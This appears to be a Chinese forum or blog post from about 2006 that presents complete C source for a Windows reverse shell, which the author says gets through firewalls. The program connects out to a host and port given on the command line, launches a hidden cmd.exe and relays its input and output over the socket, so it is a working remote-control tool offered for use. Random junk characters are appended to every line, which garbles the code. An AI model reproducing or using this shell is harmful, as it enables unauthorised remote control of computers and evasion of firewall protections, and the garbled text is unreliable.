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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7iijATc  
+-$Hx5  
/* ============================== $C.;GUEQ  
Rebound port in Windows NT n,l{1 q  
By wind,2006/7 hO?RsYJ.F  
===============================*/ /$-Tg)o5i  
#include N"k IQe*}1  
#include 8`]1Nt!*B  
lk(.zYaaN  
#pragma comment(lib,"wsock32.lib") a9%^Jvm"  
D-KQRe2@  
void OutputShell(); vQ_D%f4;  
SOCKET sClient; {vf4l4J(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -ufO,tJRLL  
ibj3i7G?  
void main(int argc,char **argv) S9VD/  
{ f8JWg9 m  
WSADATA stWsaData; /$Ca }>  
int nRet; HA#9y;\  
SOCKADDR_IN stSaiClient,stSaiServer; ='z4bU  
[!'fE #"a  
if(argc != 3) MUjfqxTT  
{ uJ@C-/BD!M  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5S/YVRXq  
return; G.l ~!;  
} QoBM2Q YO  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ekV|a1)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )/mBq#ZS  
ra]lC7<H  
stSaiClient.sin_family = AF_INET; DYej<T'?3  
stSaiClient.sin_port = htons(0); @q/E)M?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?j^:jV  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j.O+e|kxU  
{ hg Pzx@  
printf("Bind Socket Failed!\n"); k,GAHM"'  
return; HB:VpNFn  
} ^X\SwgD2w  
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stSaiServer.sin_family = AF_INET; ~M Mv+d88  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BH3%dh :9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LAjreC<W  
<%b a 3<sg  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sn-P&"q  
{ fMl uVND  
printf("Connect Error!"); `E:&a]ul  
return; `c.P`@KA  
} mi'3ibCG  
OutputShell(); HY>zgf,0  
} 45aFH}w:  
4qvE2W}&  
void OutputShell() Mv_-JE9#>o  
{ -POsbb>  
char szBuff[1024]; Ra)AQ n  
SECURITY_ATTRIBUTES stSecurityAttributes; ,9YgznQ  
OSVERSIONINFO stOsversionInfo; e754g(|>b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 155vY  
STARTUPINFO stStartupInfo; +rWcfXOHM  
char *szShell; }O+`X) 9  
PROCESS_INFORMATION stProcessInformation; IlfH  
unsigned long lBytesRead; F|bg2)|du8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kkU#0p?7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tYUg%2G  
stSecurityAttributes.lpSecurityDescriptor = 0; GzEvp  
stSecurityAttributes.bInheritHandle = TRUE; 8k9Yoht  
H84Zg/ ^  
/H~]5JZ3-E  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?X^.2+]*&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0@>  
x%`tWE|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rk8Cea  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; moCr4*jDX,  
stStartupInfo.wShowWindow = SW_HIDE; HyY ol*  
stStartupInfo.hStdInput = hReadPipe; zXaA5rZO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bR*} s/  
M~l\rg8  
GetVersionEx(&stOsversionInfo); ]=G  dAW  
{xu~Dx  
switch(stOsversionInfo.dwPlatformId) 5gKXe4}\/|  
{ o-+H-  
case 1: Y$0K}`{  
szShell = "command.com"; -7u_\XFk  
break; 7;@o]9W  
default: 8SOfX^;o  
szShell = "cmd.exe"; k2:mIp\  
break; [PH56f  
} aE[:9{<|  
(nAg ~i  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Fd/Ra]@\Y  
3B5 `Y  
send(sClient,szMsg,77,0); U-pBat.$'C  
while(1) Yv"-_  
{ CZ.HQc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iJb-F*_y  
if(lBytesRead) <(_${zR  
{ paZcTC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L8?;A9pc()  
send(sClient,szBuff,lBytesRead,0); |vY|jaV}  
} \me-#: Gu  
else xcX^L84\  
{  rqEP!S^  
lBytesRead=recv(sClient,szBuff,1024,0); )F m'i&F_  
if(lBytesRead<=0) break; N{?Qkkgx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <4Ik]Uz^  
} v-XB\|f  
} J=B,$4)9  
\9k{h08s  
return; &24>9  
}
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